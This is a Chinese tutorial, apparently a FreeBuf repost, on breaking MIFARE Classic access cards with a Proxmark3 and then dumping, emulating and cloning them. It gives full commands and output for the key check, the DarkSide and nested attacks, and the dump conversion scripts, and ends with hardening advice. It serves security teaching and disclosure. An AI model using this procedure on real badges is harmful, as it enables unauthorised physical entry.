文中提及的部分技术可能带有一定攻击性，仅供安全学习和教学用途，禁止非法使用！
0×00 前言
国际黑客大会Defcon传统之一：开锁！因为黑客认为锁也是一种安全挑战。我们在黑客题材电影、电视剧中也常常看到：男主女主利用高超的黑客技能侵入目标公司的网络，甚至利用社会工程学突破门禁防护潜入对方办公地点进行物理攻击，如入无人之境。（神盾局、黑客军团、Who am i 貌似都有类似情节）
北上广不相信眼泪 16集
在这一背景下，我们不经思考：门禁系统作为企业物理第一道屏障，这些硬件基础设施安全是否一直都被忽视？
0×01 准备工作
Linux、Windows环境搭建可参考：RFID Hacking②：PM3入门指南 一文。
1.1 进入PM3工作终端
./proxmark3 /dev/ttyACM0
1.2 测试天线
proxmark3> hw tune # LF antenna: 29.98 V @ 125.00 kHz # LF antenna: 30.39 V @ 134.00 kHz # LF optimal: 36.30 V @ 129.03 kHz # HF antenna: 27.90 V @ 13.56 MHz proxmark3>
1.3 设备固件
proxmark3> hw ver #db# Prox/RFID mark3 RFID instrument #db# bootrom: /-suspect 2015-04-02 15:12:04 #db# os: /-suspect 2015-04-02 15:12:11 #db# HF FPGA image built on 2015/03/09 at 08:41:42
0×02 爆破&枚举秘钥
2.1 读取卡片
proxmark3> hf 14a reader ATQA : 04 00 UID : 2c f0 55 0b SAK : 08 [2] TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 proprietary non iso14443a-4 card found, RATS not supported
2.2 执行NESTED攻击，枚举&爆破key:
proxmark3> hf mf chk *1 ? t No key specified,try default keys chk default key[0] ffffffffffff chk default key[1] 000000000000 chk default key[2] a0a1a2a3a4a5 chk default key[3] b0b1b2b3b4b5 chk default key[4] aabbccddeeff chk default key[5] 4d3a99c351dd chk default key[6] 1a982c7e459a chk default key[7] d3f7d3f7d3f7 chk default key[8] 714c5c886e97 chk default key[9] 587ee5f9350f chk default key[10] a0478cc39091 chk default key[11] 533cb6c723f6 chk default key[12] 8fd0a4f256e9 --SectorsCnt:0 block no:0x03 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:1 block no:0x07 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:2 block no:0x0b key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:3 block no:0x0f key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:4 block no:0x13 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:5 block no:0x17 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:6 block no:0x1b key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:7 block no:0x1f key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:8 block no:0x23 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:9 block no:0x27 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:10 block no:0x2b key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:11 block no:0x2f key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:12 block no:0x33 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:13 block no:0x37 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:14 block no:0x3b key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:15 block no:0x3f key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:0 block no:0x03 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:1 block no:0x07 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:2 block no:0x0b key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:3 block no:0x0f key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:4 block no:0x13 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:5 block no:0x17 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:6 block no:0x1b key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:7 block no:0x1f key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:8 block no:0x23 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:9 block no:0x27 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:10 block no:0x2b key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:11 block no:0x2f key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:12 block no:0x33 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:13 block no:0x37 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:14 block no:0x3b key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:15 block no:0x3f key type:B key count:13 Found valid key:[ffffffffffff] proxmark3>
成功获得卡片key。
2.3 利用PRNG漏洞，执行mifare “DarkSide”攻击
proxmark3> hf mf mifare
-------------------------------------------------------------------------
Executing command. Expected execution time: 25sec on average :-)
Press the key on the proxmark3 device to abort both proxmark3 and client.
-------------------------------------------------------------------------
uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(090a070d060b0501) nr(00000000)
|diff|{nr} |ks3|ks3^5|parity |
+----+--------+---+-----+---------------+
| 00 |00000000| 9 | c |0,0,0,0,0,0,0,0|
| 20 |00000020| a | f |0,0,0,0,0,0,0,0|
| 40 |00000040| 7 | 2 |0,0,0,0,0,0,0,0|
| 60 |00000060| d | 8 |0,0,0,0,0,0,0,0|
| 80 |00000080| 6 | 3 |0,0,0,0,0,0,0,0|
| a0 |000000a0| b | e |0,0,0,0,0,0,0,0|
| c0 |000000c0| 5 | 0 |0,0,0,0,0,0,0,0|
| e0 |000000e0| 1 | 4 |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...
key_count:0
Key not found (lfsr_common_prefix list is null). Nt=218e1cd8
Failing is expected to happen in 25% of all cases. Trying again with a different reader nonce...
uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(0d0407030d070c04) nr(00000001)
|diff|{nr} |ks3|ks3^5|parity |
+----+--------+---+-----+---------------+
| 00 |00000001| d | 8 |0,0,0,0,0,0,0,0|
| 20 |00000021| 4 | 1 |0,0,0,0,0,0,0,0|
| 40 |00000041| 7 | 2 |0,0,0,0,0,0,0,0|
| 60 |00000061| 3 | 6 |0,0,0,0,0,0,0,0|
| 80 |00000081| d | 8 |0,0,0,0,0,0,0,0|
| a0 |000000a1| 7 | 2 |0,0,0,0,0,0,0,0|
| c0 |000000c1| c | 9 |0,0,0,0,0,0,0,0|
| e0 |000000e1| 4 | 1 |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...
key_count:0
Key not found (lfsr_common_prefix list is null). Nt=218e1cd8
Failing is expected to happen in 25% of all cases. Trying again with a different reader nonce...
uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(0d040e0e0c010e00) nr(00000002)
|diff|{nr} |ks3|ks3^5|parity |
+----+--------+---+-----+---------------+
| 00 |00000002| d | 8 |0,0,0,0,0,0,0,0|
| 20 |00000022| 4 | 1 |0,0,0,0,0,0,0,0|
| 40 |00000042| e | b |0,0,0,0,0,0,0,0|
| 60 |00000062| e | b |0,0,0,0,0,0,0,0|
| 80 |00000082| c | 9 |0,0,0,0,0,0,0,0|
| a0 |000000a2| 1 | 4 |0,0,0,0,0,0,0,0|
| c0 |000000c2| e | b |0,0,0,0,0,0,0,0|
| e0 |000000e2| 0 | 5 |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...
p1:0 p2:0 p3:0 key:ffffffffffff
p1:29e5f p2:18a2b p3:1 key:b8b2a3c07af9
p1:2ba97 p2:19a40 p3:2 key:b5ba0002b5ea
p1:2c3fd p2:19fb9 p3:3 key:b4b979ba49de
p1:3de0e p2:24775 p3:4 key:968a7a09c714
p1:3fdf4 p2:25a7a p3:5 key:931b36c268ed
p1:54f81 p2:32426 p3:6 key:6ecaf371a99d
p1:58b75 p2:34777 p3:7 key:6860b744915b
p1:616dd p2:3998a p3:8 key:59747d7fdf41
p1:63400 p2:3ab54 p3:9 key:56476bbef406
p1:64ae0 p2:3b844 p3:a key:53dc6ee57a91
p1:6dc19 p2:40e78 p3:b key:44554ae362a1
p1:708f8 p2:42956 p3:c key:3f83eb143dd6
p1:7abf0 p2:48987 p3:d key:2e2b8565f96b
p1:7b298 p2:48d82 p3:e key:2d70e3e38553
p1:8420b p2:4e219 p3:f key:1e238b63e204
p1:8ce60 p2:53484 p3:10 key:0f4b7cb380a5
key_count:17
------------------------------------------------------------------
Key found:ffffffffffff
Found valid key:ffffffffffff
proxmark3>
通过这一方式，同样可以获得卡片的key,不过很多时候还是要靠运气，因为不是所有的卡片都存在这种漏洞。如果不存在PRNG漏洞，我们则需要通过嗅探卡片和读卡器之间通信的数据包解出卡片的Key。
使用PM3进行中间人攻击嗅探通信数据包的方法可参考：RFID Hacking③：使用ProxMark3嗅探银行闪付卡信息，以及RadioWar团队的 利用Proxmark3监听M1卡交互过程，算出某一区的key
0×03 dump卡片数据&数据处理
使用上述方法，我们成功获得卡片key,接下来我们便可以使用key导出卡片中的所有数据（dumpdata）
proxmark3> hf mf nested 1 0 A ffffffffffff d --block no:00 key type:00 key:ff ff ff ff ff ff etrans:0 Block shift=0 Testing known keys. Sector count=16 nested... Time in nested: 0.030 (inf sec per key) ----------------------------------------------- Iterations count: 0 |---|----------------|---|----------------|---| |sec|key A |res|key B |res| |---|----------------|---|----------------|---| |000| ffffffffffff | 1 | ffffffffffff | 1 | |001| ffffffffffff | 1 | ffffffffffff | 1 | |002| ffffffffffff | 1 | ffffffffffff | 1 | |003| ffffffffffff | 1 | ffffffffffff | 1 | |004| ffffffffffff | 1 | ffffffffffff | 1 | |005| ffffffffffff | 1 | ffffffffffff | 1 | |006| ffffffffffff | 1 | ffffffffffff | 1 | |007| ffffffffffff | 1 | ffffffffffff | 1 | |008| ffffffffffff | 1 | ffffffffffff | 1 | |009| ffffffffffff | 1 | ffffffffffff | 1 | |010| ffffffffffff | 1 | ffffffffffff | 1 | |011| ffffffffffff | 1 | ffffffffffff | 1 | |012| ffffffffffff | 1 | ffffffffffff | 1 | |013| ffffffffffff | 1 | ffffffffffff | 1 | |014| ffffffffffff | 1 | ffffffffffff | 1 | |015| ffffffffffff | 1 | ffffffffffff | 1 | |---|----------------|---|----------------|---| Printing keys to bynary file dumpkeys.bin... proxmark3>
在这一过程中，在PM3当前工作目录下生成了dumpkey.bin文件：
接下来我们执行hf mf dump便能获得整张卡片的数据：
proxmark3> hf mf dump |-----------------------------------------| |------ Reading sector access bits...-----| |-----------------------------------------| Command execute timeout Sending bytes to proxmark failed #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED |-----------------------------------------| |----- Dumping all blocks to file... -----| |-----------------------------------------| #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' proxmark3>
此时，卡片数据已经被导出到PM3主目录下的dumpdata.bin这个二进制文件中：
但是PM3并不能识别、使用二进制文件，我们还需要使用脚本将这一个二进制文件转换成eml格式的文本信息：
proxmark3> script run dumptoemul.lua --- Executing: ./scripts/dumptoemul.lua, args'' Wrote an emulator-dump to the file 2CF0550B.eml -----Finished proxmark3>
dumptoemul脚本成功将dumpdata.bin二进制文件转换成以卡片ID值命名的eml格式文件：
我们来对比一下这两个文件：
效果已经很明显了，脚本已经将乱码的二进制文件转换成了txt文本信息。
dumptoemul.lua脚本的功能也可以用Python语言来实现：bin2txet.py
#!/usr/bin/python
from __future__ import with_statement
import sys
import binascii
READ_BLOCKSIZE = 16
def main(argv):
argc = len(argv)
if argc < 3:
print 'Usage:', argv[0], 'dumpdata.bin output.txt'
sys.exit(1)
with file(argv[1], "rb") as file_inp, file(argv[2], "w") as file_out:
while True:
byte_s = file_inp.read(READ_BLOCKSIZE)
if not byte_s:
break
hex_char_repr = binascii.hexlify(byte_s)
file_out.write(hex_char_repr)
file_out.write("\n")
if __name__ == '__main__':
main(sys.argv)
python bin2text.py dumpdata.bin output.txt mv output.txt 2CF0550B.eml
清除仿真内存的各区块数据:
hf mf eclr
把从卡片中导出的数据加载到PM3设备中：
proxmark3> hf mf eload 2CF0550B Loaded 64 blocks from file: 2CF0550B.eml
使用PM3模拟门禁卡：
proxmark3> hf mf sim uid:N/A, numreads:0, flags:0 (0x00) #db# 4B UID: 2CF0550B proxmark3>
这时我们可以使用PM3来实现通过门禁。另外一种方式：把从卡片导出的数据从PM3设备内存中克隆到白卡里，使用克隆卡片通过门禁v
proxmark3> hf mf cload e Cant get block: 1
bingo
0×04 安全建议
目前我国80%的门禁产品均是采用原始IC卡的UID号或ID卡的ID号去做门禁卡，没有去进行加密认证或开发专用的密钥，其安全隐患远比Mifare卡的破解更危险，非法破解的人士只需采用专业的技术手段就可以完成破解过程。
门禁厂商、管理员：做好防护工作加强安全意识，尽量避免使用默认key、安全性低的key；对卡片和门禁读卡器使用身份认证&验证机制，绝对不能直接使用原始IC卡的UID号或ID卡的ID号去做门禁卡！
用户：妥善保管自己的门禁卡，避免信息泄露。
物联网IOT的高速发展,无线通信技术的应用也日趋广泛。本文仅通过门禁系统案例揭露NFC、RFID相关协议&技术存在的一些安全隐患。
我们现实生活中也有真实存在的案例：2010年北京一卡通被爆存在漏洞，可随意修改卡内余额，个人猜测这里很有可能是通过利用mifare卡片的PRNG漏洞来实现的。2014年，国外安全研究员发现台湾铁路、公交系统的悠游卡（EasyCard）同样存在PRNG漏洞，可修改卡片余额，并向悠游卡公司反馈报告了这一漏洞：
0×05 系列文章
RFID Hacking①：突破门禁潜入FreeBuf大本营
RFID Hacking③：使用ProxMark3嗅探银行闪付卡信息
0×06 Refer
Mifare Classic 1k – cracker les clefs et lire le tag avec Proxmark3
offensive-security.com : Cloning RFID Tags with Proxmark 3
DefCon 23 HOW TO TRAIN YOUR RFID HACKING TOOLS
backtrack-linux.org : RFID Cooking with Mifare Classic
BlackHat 2013 USA RFID Hacking Live Free or RFID Hard
原文地址：http://www.freebuf.com/articles/wireless/109151.html
时间： 2024-10-22 21:13:23